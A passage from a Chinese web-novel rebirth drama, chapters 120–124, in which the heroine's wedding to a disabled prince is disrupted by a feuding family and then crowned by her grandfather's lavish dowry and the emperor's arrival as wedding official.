箫熠之虽然残疾,又是王爵,但今日毕竟是他与谢宴大婚,当着这么多宾客的面,他总该给自己这个岳父面子,行个礼吧。 何况,他特意下了马。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第120章 孙家来闹事,想狐假虎威? 见靖北王下了马,谢家一众人,一个个心中暗自激动。 连谢老夫人都情不自禁地挺直了腰板,脸上的笑容越发洋溢。 本以为王爷不会跟谢家行礼,但既然下马了,那就代表,他还是会给伯府一份体面。 在谢家人期待的目光中,靖北王的目光从谢窈身上收回。 随后,他眼皮都没有抬,视线悠悠地越过谢明安,落在谢家人后面的许素素身上。 “见过岳母大人,劳您久等了。” 靖北王在轮椅上向许素素行礼,声音清朗。 顿时,无数目光看向许素素。 “那便是伯夫人许氏?已经好几年没露面了吧。” “今日靖北王和谢家二小姐大婚,倒是让我想起十几年前,许氏嫁女的情景。” “都说文昌伯夫人许氏体弱多病,久居后宅,已经时日无多,可她看着气色尚可啊。” 许素素没想到王爷会越过谢家人,而是向自己行礼。 今日是女儿成亲的日子,她定了定神,并未露出怯懦神情,而是不卑不亢地说:“王爷严重了。” 箫熠之目光诚恳:“往后岳母唤我名字即可,不必再称王爷。” 旁边,谢明安脸上已经脸色铁青。 他这个岳父就站在对方面前,离得最近,可箫熠之竟然看都不看,反而向许氏一个女子行礼! 谢家二房几个和谢老夫人也笑容僵住,未曾想,哪怕是大婚的日子,王爷也不将谢家放在眼里。 谢明安太阳穴突突直跳,若是在平时,他早就发作了,可对上箫熠之森冷幽深的眼神,他只能强按下情绪,重新挤出笑容。 箫熠之无视谢家人的注视,更没有踏入谢家的意思。 他重新看向谢窈,向她微不可察地颔首。 随即,白术推着轮椅后退了两步,他再借侍卫的力,被扶着重新上马。 “姐姐,我扶你上喜轿。” 谢宴在一侧扶住谢窈的手臂,低声道。 “呜哇——” 他刚说完这句话,一阵惊惶凄凉的唢呐声忽然传来,听得人浑身一震。 “谁家办丧事,跑到这儿来了?” “你看那边,是有人死了!” 人群正惊讶着,只见十几个披麻戴孝的男女,哭嚎着冲过来。 为首的是个身穿孝服,面色枯槁的妇人。 中年妇人手里举着块新刻好的牌位,就要往伯府面前冲:“谢窈,你这个毒妇!” 她痛哭流涕,声嘶力竭地喊:“你和孙馨兰斗法,却害我夫君被抓进大牢,如今不明不白地死在牢里,你还我夫君命来!” 她身后跟着的几个男女,也一边附和,一边哭天抢地地向围观人群诉说。 “就是这个文昌伯府的二小姐,刚回京城就闹翻了天,她抢了府中姨娘的中馈权还不够,竟撺掇她舅舅陷害我家老爷!” “爹,你开的济安堂,一辈子救了那么多人,最后却救不了自己,你死得好惨啊!” 谢窈团扇后的双眸扫过这群人,来的是孙家人,那中年女子,是孙姨娘的大嫂,她很熟悉。 前世,孙家大嫂经常到伯府,对孙姨娘百般谄媚。 有一次,她路过后花园,正好遇见刘嬷嬷端走自己屋内的炭火。 她看到后,冷笑嘲讽:“这不是还未定亲,就与陆书生私会的谢二小姐吗,馨兰贤惠心善,还特意派下人照顾你这丢人的女儿,我却是个眼里揉不得沙子的。” 说着,她不仅没管,还让刘嬷嬷拿来一盆冒着浓烟的灶炭,放到自己房里。 谢窈被呛得近乎窒息,却听她说:“甭想去跟馨兰告状,我枝枝外甥女是皇上的妃子,馨兰给枝枝备嫁,忙着呢,可没空理会你的闲事!” 谢窈回过神,看着孙家大嫂,眼神冷漠。 听她这话,孙姨娘的大哥孙宏方,死在了牢里? 谢窈不动声色地扫了谢明安一眼。 又想到济安堂被查封,和舅舅许知行有关,她目光掠过周围的宾客,并没有看见许家人。 谢窈心里明白了什么,神情更加从容。 孙家人指着她,七嘴八舌跟宾客解释。 “我家老爷是伯府孙姨娘的大哥,开着济安堂本本分分半辈子,只因为孙姨娘得罪谢窈,被她舅舅污蔑卖假药,抓进了大牢。” “这谢窈的舅舅许知行,是京中有名的奸商!” “如今人死在牢里,肯定是她仗着王妃身份下的毒手!” “谢窈,你今日不给我们孙家一个说法,我们就撞死在这儿!” 门口的宾客们听到孙家人的话,一时哗然,看向谢窈的眼神也变了。 “怪不得听说文昌伯也厌弃这个女儿,到底是边关回来的野丫头,心狠手辣,粗鲁野蛮。” “还没嫁给靖北王就草菅人命,以后成了靖北王妃,还不是翻了天?” 有人低声私语,还有人摇着头叹息,更有人露出看好戏的表情。 谢窈站在原地,握着团扇的手稳如泰山。 “父亲你瞧,这孙家想要女儿给他们一个说法,否则就要撞死在伯府门前呢。” 她淡然地侧过脸,用只有谢明安等几个人能听见的声音道,红唇勾起一抹讥讽笑意。 “可他们,怎么还不撞啊?是在等谁来主持大局?对了父亲,这可都是孙姨娘的娘家人,她怎么不来迎迎。” 谢明安本就被靖北王的无视举动憋了一肚子火,此刻听到谢窈的话,脸色顿时黑如锅底。 他明白过来,死死地盯着这群闹事的孙家人,心里怒骂孙姨娘。 孙宏方死就死了,他料到孙家人不会善罢甘休,只是没想到,他们敢选在今天闹!其中,肯定有孙馨兰的指使。 不就是让谢枝去安平侯府做妾吗,不就是死了个大哥吗,那个蠢女人,敢勾结外人,落伯府的颜面! “一派胡言。” 靖北王的声音响起,他骑在马上,扫过这群孙家人,目光凛冽深沉。 他刚要开口,却见谢窈侧着扇子,眼底没有半分慌乱。 她嫣红的唇角噙着戏谑笑意,像是在看一场有趣的戏。 箫熠之挑了挑眉,到了嘴边的话又咽回去,只是淡淡地抬眼,选择看向天边,一副事不关己的模样。 谢明安本来听到靖北王说话,想等他替自己镇场,脸上露出狐假虎威的冷笑。 然而,等了许久…… 王爷没有再说一句话。 周围各色目光,也都落在他身上。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第121章 外祖父回京,许家来送嫁! 谢窈又淡淡地对谢明安说:“看来孙家人今天,是摆明要毁掉父亲筹备的喜宴了。” “她敢!”谢明安低哼了一声,眼中恼怒。 不得已,他只能硬着头皮上前:“大嫂,你可得讲讲理,宏方身为济安堂东家,是被京兆尹亲自拿办入狱的,与我谢家有何关系?” 他给谢二爷使了个眼色,谢二爷赶紧帮腔:“就是!说不定是他自己作恶多端,畏罪自尽呢。” “放屁!” 孙家大嫂原本被靖北王的眼神镇住,有些害怕,但看见谢明安,她一下子又鼓起勇气,梗着脖子道: “我家老爷是因为孙姨娘,被谢窈害的,若不是你们谢家内斗,他怎会丢了性命!我不找谢家,找谁?” 说着,她转向围观的人,哭嚎道:“诸位看客,孙姨娘是我亲妹子,在谢家当牛做马这么多年,就因为这个刚从边关回来的野丫头,被折磨得不成人形。” “她还要勾结许家,给我夫君扣上卖假药的罪名,把他害死在牢里!” “文昌伯府分明是仗势欺人,草菅人命!” 谢明安气得浑身发抖,招呼下人想将孙家人赶走,却又怕他们闹得更凶。 再看谢窈,他才意识到,自己居然被这丫头三言两语利用,当了挡箭牌! 如果他刚才不说话,孙家大嫂是冲着谢窈来的,但他和谢明守开口后,孙家人顿时将矛头指向整个谢家。 还没等谢明安阻止,谢二爷又争辩:“那孙馨兰纵容手底下嬷嬷,给伯爷和伯夫人下毒,御下无能,才被禁足伯府,何谈被折磨得不成人形?你们孙家不要血口喷人。” 他越这么说,孙家大嫂越哭天抹泪,让周围宾客百姓觉得孙家可怜。 忽然,谢明安眼前一亮,他见人群中有个熟悉的朝中官员,是京兆尹杜大人手下的司法参军。 谢明安连忙挤上前,几张银票悄然塞进司法参军袖中。 “郑参军,快!还望您出面跟孙家人解释一番,本伯与孙家是亲戚,大喜的日子,本伯==实在是不愿动粗。” 司法参军收下了银票,却转头,眼神飘忽地瞥向靖北王。 王爷稳稳坐在马上,仿佛周遭一切喧嚣都和他无关。 谁不知道,靖北王的三叔萧家三爷,是刑部尚书。 而王爷的二姑母,是京兆尹大人的母亲。 王爷不发话,他怎么敢主动帮腔。 “伯爷,不是下官不帮,而是此案是杜大人亲自审理负责的,下官不清楚为何孙宏方死在了牢里,所以也无法替你家解释。”司法参军往后缩了缩脖子,尴尬笑道。 谢明安这才想到,萧家三爷是刑部尚书。 司法参军虽然是京兆尹的手下,但刑部对他有一定的管理之职,如今箫熠之不语,他居然就在自己面前装傻充愣。 眼看宾客们的眼神越发古怪,谢明安一口气堵在喉咙里,想求靖北王又拉不下脸。 他只能让朱嬷嬷去叫孙姨娘,道:“你们孙家在王爷的婚礼上来撒泼,莫不是想讹诈本伯。” 孙家大嫂正要再骂,一阵更加恢宏激昂的锣鼓之声,从远处响起! 箫熠之率先看见来人,意料之中地轻挑眉毛,挥了挥手。 一刹那,王府两百名护卫整齐侧身,让出道路。 街尾烟尘滚滚,一群身穿喜庆红衣的男女,来到伯府门口。 先走来的,是名着靛青锦袍,面容清俊的中年男子。 正是谢窈的舅舅许知行。 他身后,鎏金玄武车轿落地,一名须发皆白的老者下车,杵着玉拐杖,一步步,步履沉稳地向伯府走来。 老者望着自己的外孙女,也望着人群后方自己的女儿,眼前渐渐模糊。 谢窈和老者对视,无声地唤:“外祖父。” 她猜到舅舅会来,却没想到,外祖父许老爷子,竟然回京了! 前世,她与陆慎言成亲当天,外祖父和舅舅也曾回来。 那是一个月后的事,而且,她当天并不知道。 后来她与舅舅相见时才知,外祖父那日,是千里迢迢从江州赶回京城,原本,给她备了一笔嫁妆。 但在入京之前,谢明安的人拦住外祖父,说她名声不好,又是嫁给一介寒门,嫁妆太盛,恐怕会树大招风。 又说许家是商贾之家,怕露面后,耽误孙女婿的仕途。 外祖父为了她,轻信谢明安的话,减少一些嫁妆后,又将嫁妆交到谢家手上,默默离开。 这一世,她和箫熠之的婚期提前,外祖父也提前了一个月回来。 “许家家主许世安,来给靖北王妃,送嫁妆来喽!” 众奴仆齐声的呼喊,响彻四周。 许家的队伍中人,前面一个个气势非凡,手捧各样礼盒,身后的奴仆也抬着红绸金漆的箱子,一箱接着一箱,看得人眼花缭乱。 还有金丝楠木的床,桌椅,妆台,箱匣等家具,红帖子上印着各个商铺铺面的标记。 更惊人的,在后面。 只见数十家京中顶流商户铺子的掌柜们,排着队上前,依次贺道: 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“许氏钱庄贺大小姐大婚之喜!” “聚宝楼恭贺大小姐新婚!” “胜济堂祝大小姐与王爷琴瑟和鸣,百年好合!” “江京镖局给大小姐道贺!” “锦绣布庄祝大小姐前程胜锦,送云锦百匹,恭贺新婚!” 人声鼎沸里,许老爷子往那一站。 他目光扫过那群披麻戴孝的孙家人,精神矍铄,声若洪钟:“有老夫在,谁,敢欺我许家的掌上明珠?” 刚才还咋呼不休的孙家人,忽然蔫儿了。 孙家大嫂看向自己儿子:“谢窈的外祖父是什么人,你查过没有?” 孙家儿子:“我只知文昌伯夫人许氏是商贾出身,有些闲钱,没想到许家排场这么大啊。” 他们开的是医馆,之前只与胜济堂争斗,哪里知道许家的底细。 人群后面,穿着常服的京兆尹杜大人,气喘吁吁地赶来。 杜大人正值壮年,论辈分,他母亲是靖北王的二姑母,他是靖北王的表兄。 看见许老爷子和那些京中商户,再仰头看向从容不迫的谢家二小姐—— 杜大人脑海中瞬间想起,去年,京畿地动,许家给京兆府捐了三千两修官邸,他曾亲自接待许老爷子。 许老爷子说,他这是在给嫁给文昌伯的女儿,和远在边境的外孙女积德行善。 还有三年前,靖北王出征,军中粮草难以为继,许家拿出供大军一个月的粮食,才让王爷后方无忧,打赢了西戎人。 更早些年,江州水患,许家施千所粥棚,救了一州百姓,被先帝御笔亲题“通财达义,商德昭昭”八个大字。 许老爷子身后那些商户掌柜,每个也都是京中响当当的人物。 此刻,这些商户对谢家二小姐毕恭毕敬,只因许老爷子就一个女儿,嫁给了文昌伯,养子许知行至今未娶,而那这位谢二小姐,说不定,日后是许家的女东家! 刚才还悄悄降低存在感的司法参军,见到京兆尹出现,立即凑上前,脸上挂着狗腿笑容:“大人。” “王爷大婚,你怎能坐视这群人胡闹!” 杜大人瞪了司法参军一眼,对孙家人厉喝道:“济安堂卖假药,贩禁药,人证物证俱在,还敢倒打一耙,寻衅滋事,是觉得谢家好欺负,还是觉得本官办案不公?” 有了京兆尹出面,司法参军第一个跑到前面。 “孙宏方身虚体弱,在牢房不过三日,就高热不退,骤然暴毙,此乃罪有应得,与文昌伯府有何关系,来人,把这群刁民拖下去!” 孙家大嫂还想撒泼,许老爷子缓缓开口:“我许家外孙女阿窈的大婚之日,竟有人来此撒野。” 许知行:“父亲大人说的是,是儿子有所疏忽。” 他转过身,对京兆尹拱了拱手:“杜大人,孙家在城南的三间药铺,还望您通融解封,此三间药铺并不涉及禁药一事,已被在下收购。” 孙家大嫂和孙家儿子震惊地瞪大双眼,脱口而出:“你,你说什么?前日收购了那三间药铺的,是你们许家?” “我说,”许知行慢悠悠道,“现在,你们该叫我一声,东家。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第122章 谢窈嫁王爷,庶姐做外室 东家?! 孙家人呆住了,孙家大嫂的哭声骤然停住。 自从前些日子,济安堂被胜济堂整的看诊人数一天不如一天,他们就早想脱身。 尤其是济安堂被查封后,孙宏方的儿子害怕牵扯甚大,便和孙家大嫂等人商量着,连夜把家里最后三间药铺卖了。 本以为卖了药铺,只要东家不管,铺子里的掌柜伙计都是孙家人,他们就还有生计,以后也能东山再起。 可现在,许家,竟然成了药铺东家! 孙家儿子嘴角抽搐:“怪不得,怪不得那日来收购药铺的掌柜,没告诉我东家的姓名。” 许知行笑容温和,从怀中取出一锭五两银子,扔到孙家大嫂面前。 “这钱,是本东家赏你们买棺材的,如果不够,在下也可以送你们,去和孙宏方在牢里团聚,想必你们一定很满意吧。” 舅舅容貌清俊,举止翩翩,和谢明安站在一起,若不是这等狂傲姿态,他才更像世家贵族出身的礼部侍郎。 孙家人敢怒不敢言,一个个脸色从惊恐变成绝望。 司法参军招呼来几个同僚,官差一出现,孙家大嫂转身,抱着牌位就跑。 后面来不及跑的孙家人,当场被堵住嘴拖走,连挣扎都不敢。 众多宾客,这才将目光放到许家人身上。 外祖父许世安,来到谢窈面前。 一声“小阿窈,长大了”,让她的眼泪差点落下。 她已经很多年,很多年没有见过外祖父了。 “是老夫不好,从江州赶过来,清点准备嫁妆耽误了一日,没想到,让这群宵小钻了空子。”许老爷子道。 “与父亲无关,都是我没处理好首尾,使得阿窈受了委屈。”许知行自责地说。 他指了指身后的嫁妆队伍:“这些是头批,后面还有八十八抬,一共是一百零八抬嫁妆,金银珠宝,田产铺面,稀缺药材,已经清点成册,都是给你的。” 宾客与人群中,听见一百零八抬,响起倒抽冷气的声音。 千言万语,化作一句:“多谢外祖父。” 许老爷子望着谢窈,语气带着不容置疑的护短和狂傲,刻意扬声道: “小阿窈到了王府,不必委屈自己,王爷若待你好,自然是好好过日子,若敢怠慢你,或者有人给你气受,大不了,咱们回家。” “我许家有金山银山,养自家孩子一辈子,也绰绰有余!” 许老爷子这话,是说给箫熠之和谢窈听的,也是说给许素素听的。 许知行亦是缓缓点头:“小阿窈别忘了,万事,有舅舅在。” 谢窈握着团扇的手紧了紧,眼眶微热,隔着扇面用力点头。 听到许老爷子的话,谢明安立即看箫熠之和那些王府亲卫。 这老头子敢跟谢窈说要是王爷待她不好,就回许家,这可是在威胁王府,依靖北王那暴戾脾气…… 然而,王府亲卫,一个个面容肃穆平和。 许家的话,的确有些逾矩。 但是他们每个人不是傻子,家里有女儿的,知道在成亲的日子,说这话是为了体现娘家对女儿的重视。 何况,许老爷子是敬重王爷的——他不是坐在马车上,而是坐轿子而来,许家大爷许知行也没有骑马。 箫熠之望着他们,脸上更没有任何不悦。 老爷子是谢窈尊敬的长辈,也是他的长辈。 他们给谢窈备嫁,替谢窈撑腰,这是添福气的好事。 他既然往后不会怠慢自己的王妃,又怎会不悦? “孙婿见过外祖父,舅舅。” 许知行暗暗舒了一口气,向靖北王致意。 他压低声音,用只能谢窈听见的声音道:“你外祖父昨日进京时,靖北王应当就知道了,但他没有声张。” 许老爷子:“王爷,既然是一家人,就不必对老夫行礼了,莫要耽误吉时。” “是。”箫熠之微微颔首。 他又瞥向京兆尹杜大人,忽然问道:“表兄是一个人来的?本王的迎亲礼官呢。” 燕国有习俗,伯爵以上爵位的亲贵成亲,要由礼部或皇室宗亲出一人当礼官,与新郎官一起迎亲。 送聘那日,礼部尚书何裕说了,他是靖北王的礼官之一,但是现在了,何裕还没出现。 杜大人没想到自己躲到人群里,也会被箫熠之发觉。 听到这个杀神似的靖北王喊自己堂弟,他浑身一震,连忙出来。 杜大人对自己肩膀右上方拱了拱手,语气格外恭敬:“那位说王爷若催,就让下官转告王爷:但行好事,稍安勿躁。” 箫熠之瞥了一眼远处,神情淡淡。 很快,谢窈被谢宴扶到花轿前。 就要上去的时候,许素素忽然走来。 大喜的日子,她脸上带着笑,眼中含着泪:“阿窈,娘的女儿,你要好好的。” 谢窈克制着情绪,声音清晰:“母亲放心,我不仅自己能过得好,还会让母亲也过得好。” 许素素强忍的眼泪,听到这话,再也无法控制,潸然泪下。 本小章还未完,请点击下一页继续阅读后面精彩内容!谢窈最后看了看一脸欣慰的外祖父,坐上花轿,一瞬间,回想起前世。 那时她却扇遮面,没有宾客祝福,不知许家前来,未看见母亲的神情,心里只有对往后日子的忧虑不安。 这一世,一切截然相反。 她刚坐下,听见外面许老爷子中气十足的声音:“敲锣打鼓,给我许家大小姐送嫁!” 花轿抬起,大红喜袍的靖北王策马护在旁边,一百零八抬嫁妆浩浩荡荡地跟着,许素素准备的三十二抬嫁妆也紧随其后。 除此之外,更有靖北王府之前送来的八十抬聘礼,悉数奉还。 奏乐和花轿的銮铃声此起彼伏,人群望着那望不到尽头的嫁妆队伍,一些年长或者有些见识的,回想起十七年前,许家和谢明安的那场婚事。 “谢家二小姐的嫁妆得有多少?整个棠柳巷都被堵住了,怕是亲王太子成亲,也不过如此!” “别说棠柳巷,那两百抬嫁妆,还有商户铺子,十个文昌伯府加起来都比不上。” “你们小,不知道这许家可是江州第一商贾,富可敌国,当年许家大小姐嫁过来时,就堪称盛世大婚,如今的排场,更甚当年!” “谢二小姐嫁给王爷,不知谢家庶女谢枝,会加入谁家?” 就在这时,朱嬷嬷来到谢明安身边,低声道:“伯爷,安平侯府的人来了,枝姑娘,怕是要闹。” 众多宾客只顾着看谢窈的嫁妆队伍,并没有人注意到,伯府偏门,躲着两个安平侯府仆役装束的下人。 谢明安还保持微笑站在众人前面,头都没回地吩咐:“让孙馨兰管好她女儿,谢枝要是敢闹,就堵上嘴,直接捆上轿子,塞进去。” 朱嬷嬷应下,又道:“这安平侯府确实不像样,再怎么说,枝姑娘也是伯爷长女,就算做不出侧夫人,做个妾也是应当的,怎能……当个外室呢。” 是的,就在前日,安平侯府和文昌伯府终于达成一致。 谢枝不当安平侯妾室,只做个养在外面的外室! 谢明安冷笑一声,声音冷血到极点。 “她做出那等败坏门风的丑事,安平侯能拿出两处五进五出的宅子赠予本伯,已是极不容易。” “何况,小侯爷年轻有为,是皇亲国戚,她能做个外室,有什么委屈的。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第123章 泼洒喜钱,迎亲礼官来了? 旁边的谢老夫人,听到主仆二人的对话,不由瞥了一眼,却恰好看见谢明安眼里的狠厉。 她蓦地想起一桩旧事,打了个寒颤,连忙错开眼。 谢老夫人身边的嬷嬷道:“老夫人,孙姨娘那边递来消息,想求您跟伯爷说情。” “儿孙自有儿孙福,老身能做什么?”她一脸无可奈何。 谢老夫人从前,是最疼爱谢枝这个孙女的。 可如今见谢枝做出丑事,被儿子当成交换宅子的筹码,要做安平侯的外室,她哪敢再替个庶孙女求情? 很快,一顶连红绸都透着寒酸的二抬小轿,被从偏门抬了出来。 里面的谢枝身穿桃粉嫁衣,浓妆艳抹,遮挡着脸上前几日被掌掴和磕头,还没消除的青紫印子。 她自知无力违抗谢明安的命令,便没有挣扎。 反倒是留在院中的孙姨娘,抚摸自己隆起的腹部,望着女儿离开,默默垂泪。 至于给谢枝送亲的,不过两个小丫头和一辆马车,悄无声息地跟着轿子,往安平侯给外室安置的别院而去。 个别眼神好的宾客,看见这顶轿子,好奇地着人打听。 靖北王与谢家嫡女大婚的日子,怎会有一顶小轿,从偏门而出? 很快,下人打听回来,说是谢家庶女今日给安平侯做了外室。 这样的消息,在宾客中流传开来。 谢明安还站在原地,根本没理会谢枝的轿子,而是眼睛直勾勾地盯着已经走了一刻钟,还没走完的嫁妆队伍。 这么多财富,本该是他谢家的,凭什么都给了谢窈那个丫头! 许素素望着那顶精美绝伦的三十二抬花轿,眼角还挂着泪。 许老爷子杵着拐杖,重新走上车轿,临走时,眼含热泪看了女儿一眼。 许素素回想着他的话,那句“大不了,咱们回家,许家养你一辈子”,像石头砸在她心里。 当年她一意孤行,嫁入谢家,和父亲兄长生分了多年。 至今她还记得,当初她得知自己有孕,害怕地离家出走,去成佛寺住了许久,直到父兄看自己抱着阿窈回许家时,那不敢置信的心痛神情。 从来都谦和从容,如贵公子一般的兄长,气得掉了眼泪,提起刀,想去捅谢明安。 而后来,他们只能忍痛,给自己准备无数嫁妆,将自己送入伯府。 日子久了,许素素早已忘了,自己也有娘家可以依靠。 这时,谢明安看见混在队伍中谢家出的箱子,猛地回头:“你给她备的嫁妆,是那些?” 许素素点头:“是比不得王府的聘礼,也比不上父亲给阿窈的嫁妆,只因当年我陪嫁的东西,这么多年,只剩这些。” 她只准备了三十二抬嫁妆,这是她仅有的了。 谢明安眼底的贪婪几乎无法掩饰。 竟然,还剩那么多。 他语气一变,忽然关切道:“窈儿是高嫁,王府又不是没给聘礼,带那么多嫁妆,怕是会惹人非议。” 许素素猛地抬眼,看向他。 谢明安没察觉她的异样,又道:“再说了,她一个年轻姑娘家,哪里懂得如何打理嫁妆里的田产铺面?” 远处,嫁妆队伍最后,有六对裹着红缎,圈在金笼里的聘雁,和一只油光水滑,戴着红绸绳结的黑色母鸡。 那只母鸡和聘雁放在一起,凌驾在它们之上,趾高气昂地“咕咕”叫。 “那些自有各个掌柜负责。” 许素素露出母鸡护着自己鸡崽的神情,仿佛浑身羽毛都竖起来。 谢明安凑近几步,在她耳边压低声音:“掌柜是外人,终究得她自己会看账,不如等她回门,你跟她提提,让她交出一些契书铺子,由你替她打理。” 他的声音低沉,又道:“靖北王父亲早逝,母亲也生死不明,萧家就一个老太太坐镇,又有萧家三爷一脉昌盛,长幼不分,水深得很,交还家里,总好过被他们天长日久,哄骗了去。” 许素素耳边一阵发寒,她看着谢明安,感觉这个男人,就像一条披着人皮的毒蛇,盯上了自己女儿。 从前,她也曾对谢明安心存幻想,以为阿窈毕竟是他女儿,等自己死后,谢家就是女儿的母家,女儿得和他搞好关系。 但谢窈回京后的种种,还有一场大婚,彻底让许素素认清了现实。 她挺直背脊,还是往日懦弱的样子,却斩钉截铁地吐出两个字:“不行。” 谢明安愣住了:“什么?” “我说不行。”她声音不大,却异常清晰。 “交给你?就像当初我把我那些嫁妆交给你一样,被用得连件首饰都见不到?谢明安,你说什么萧家会哄骗阿窈,最能哄骗别人的人,不是你吗。” 这话像一记耳光,让谢明安面色僵住。 周围几个谢家下人惊呆了,谁见过伯夫人说话这么硬气的时候? “你胡说什么!”谢明安怒气冲冲地低吼。 许素素迎着谢明安错愕的目光,道:“阿窈的嫁妆,是她外祖父和王府给她的底气,是她自己的东西。” 这章没有结束,请点击下一页继续阅读!“她能不能管好,那是她的事,”她一字一顿,“就算管不好,全败光了,也轮不到别人插手。” “你!你个蠢妇,”谢明安的脸色难看下去,“我这是为了她好!” “为她好,就别打什么歪主意。” 许素素与他四目相对。 “我就是死,也不会让你动阿窈的嫁妆。” 说完,她转身往内院走,不想再看这个所谓的丈夫一眼。 谢明安胸口起伏着,却只能死死地攥紧拳头。 看着许素素走远,他无声无息地开口:“那你就去死,好了。” 此刻,两百余抬嫁妆绵延十数里,所到之处,红绸招展,箱笼上的金饰在夕阳下晃得人眼晕,百姓们挤在街边,人潮涌动。 花轿缓缓前行,到了东街,这是之前那数十家商铺掌柜的地盘。 一路同行的许知行,高呼一声:“起——” 早在街角的几十名腰系红绸的仆役,一个个捧着木匣,出现在街面上。 木匣里,装满铜钱和碎银。 街边茶楼的二楼,也出现十数个店铺仆役,同样端着沉甸甸的篮子。 众人齐声呐喊:“江州许家,给靖北王妃,撒喜钱喽!” 无数白花花的碎银,和数不清的铜钱,似钱雨泼洒出来。 寻常勋贵大婚时,会撒喜钱讨个吉利,通常是扔几串铜钱,让街上的孩童抢一抢,添添热闹。 但像许家和这些商贾这般,成筐成筐地撒钱,其中,更是掺杂着许多散碎银子的,整个大燕,也是独一份! 泼天的豪奢之举,让百姓们瞬间疯了。 本来是孩童们捡喜钱,变成无数人都涌上去。 有人抢到一块碎银,激动得手抖,还有人兜了一兜子铜钱,也是笑得合不拢嘴。 这样堪称盛世的大婚,恐怕往后多年,都会被京中百姓津津乐道。 各种吉祥话,滔滔不绝。 什么王妃必然福泽深厚,什么靖北王和王妃百年好合,三年抱俩,什么感谢许老爷子,祝老爷子福如东海,寿比南山。 还有口误,祝靖北王妃大婚之夜,战无不胜,所向披靡的。 有些夸张之语,坐在花轿里的谢窈,饶是以她的脸皮,听着都有些脸热。 至于传闻靖北王残忍嗜杀,喜怒无常…… 今天可是他大婚,那心情定然是喜的。 许知行望着谢窈的花轿,又看向骑在马上,却双腿极其僵硬的靖北王,偷偷抹了把眼泪。 他喃喃道:“这是我们许家给小阿窈的排面,只希望你这个王爷,不会是第二个谢明安。” 箫熠之感受到舅舅的目光,从容地回头,眼神深邃笃定,似乎在回应他的话。 远处,传来整齐划一的甲胄摩擦声。 “那是……金甲禁军?”有人停下了捡钱的行为,失声喊道。 花轿内,谢窈听出外面动静的不寻常。 箫熠之勒马到她的花轿外,微微俯身,声音蛊惑:“王妃别怕,来的,是我们的迎亲礼官。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第124章 皇上做礼官,母亲封诰命! “迎亲礼官?” 谢窈直接问道:“是何大人吗?” 箫熠之:“何大人,只是其中之一。” 他的迎亲礼官,有两个人。 一个是礼部尚书何裕,另一个…… 箫熠之直起身,眼神悠远。 足足三百身披金甲,手持长槊的禁军,在夕阳的余晖中,似锵锵金云,列队整齐前来。 王府亲卫身上透着军中煞气,而这三百名金甲将士,则甲胄光鲜,是护卫皇宫,守护皇帝的皇宫禁军。 同样一身金色盔甲的虎贲将军苏怀恩,骑在战马上,统领着这些禁军,郑重地向靖北王抱拳:“见过靖北王!” 他能来给少将军送嫁,多亏了王爷。 坐在花轿里的谢窈,听出了禁军和苏怀恩的声音,声音难掩喜悦:“另一个礼官,是老苏?” 老苏平时总是以她兄长自居,是她军中的袍泽,他能来,她十分高兴。 箫熠之听出她语气的雀跃,唇角悄然上扬了几分。 这边许家人还在撒钱,他趁人不备,悄悄拾起一枚落在马鞍上的铜钱,攥在手心,藏到了腰间香囊里。 随即道:“来了。” 三百禁军开路,后方,一顶明黄色的龙辇,由十二匹雪白骏马拉着,朝花轿队伍行来。 “金甲禁军,那可是皇家仪仗,怎么会出现在这里?” “之前王爷给谢家送聘时,也有一支禁军的队伍,才十几人就极其威风了,现在……这得二三百人吧!” “龙辇,陛下,是陛下亲临!” 钱雨终于停歇了,满街百姓看见停在了街道尽头的龙辇,连忙跪下。 “皇上驾到——” 宫里太监专属的尖细声音响起。 两名内侍掀开珠帘,当今圣上李璟一身龙袍常服,缓步走出。 他与靖北王同岁,丰神俊朗,年轻威严。 望着那顶三十二抬的花轿,皇上朗声道:“如晦乃朕之股肱,今日与谢家嫡女大婚,朕,就来做这个礼官。” 众多百姓和商户,全都伏跪在地上。 寻常百姓一辈子,也不一定能见皇上一次。 而今天,皇上竟然公然出宫,来到东街,做靖北王的礼官! 这样的尊荣,全天下,也没有第二个了。 “祝靖北王与王妃百年好合!”三百禁军齐声高呼,声震云霄。 后面,还跟着几名穿着官袍的礼部官员。 见靖北王骑在马上,皇上眼神扫过他悬在马镫上的双腿,微笑道:“如晦身体不便,不用下马对朕行礼。” 跟在花轿旁边的喜娘,哪见过这样的场面,慌了神,凑到轿边低声道:“王妃,是皇上亲临,您得下轿见礼。” 谢窈刚伸出手,外面便传来箫熠之清冽干脆的声音:“不必。” 只有淡淡的两个字,却莫名让人心安。 他和谢窈的大婚,自己还未看清新娘子的真容,断没有让别人看的道理。 即便是皇上,也不行。 随即,箫熠之抬眼,语气从容直接:“臣的另一位礼官呢?” 皇上并不计较谢窈没出花轿,更是习惯了他的直言不讳,回想几日前的情景。 那是如晦一个月内,第四次进宫。 此前两年进宫的次数,也超不过这一个月。 “臣大婚,除了请皇上和何尚书做臣的迎亲礼官,还想为文昌伯府,求一个恩典。”箫熠之坐在轮椅上,说道。 皇上正在批阅奏折,闻言,手中的朱笔停下。 当年,箫熠之助他登基时,刀光剑影里,都未曾对他说一个“求”字,如今竟然为文昌伯府开了口。 这般语气,倒和萧老夫人那次进宫,求他给她孙儿赐婚时的语气一模一样。 他想起张庆才御鹰司的密报,文昌伯欲在栖凤山,暗中谋害他册封的靖北王妃,属于太后党羽。 如果箫熠之也帮衬谢明安,怕是太后一党,更加猖獗。 “哦?”皇上面上仍旧带笑,眼神却冷了下去,“如晦想是为文昌伯加官进爵?他虽然才干平平,但看在你的面子上,朕允了。” “与他无关。” 箫熠之眸色沉静,道:“臣求的,是另一道旨意。” 思绪回笼,皇上脸上的笑意味深长:“如晦可真是心急。” 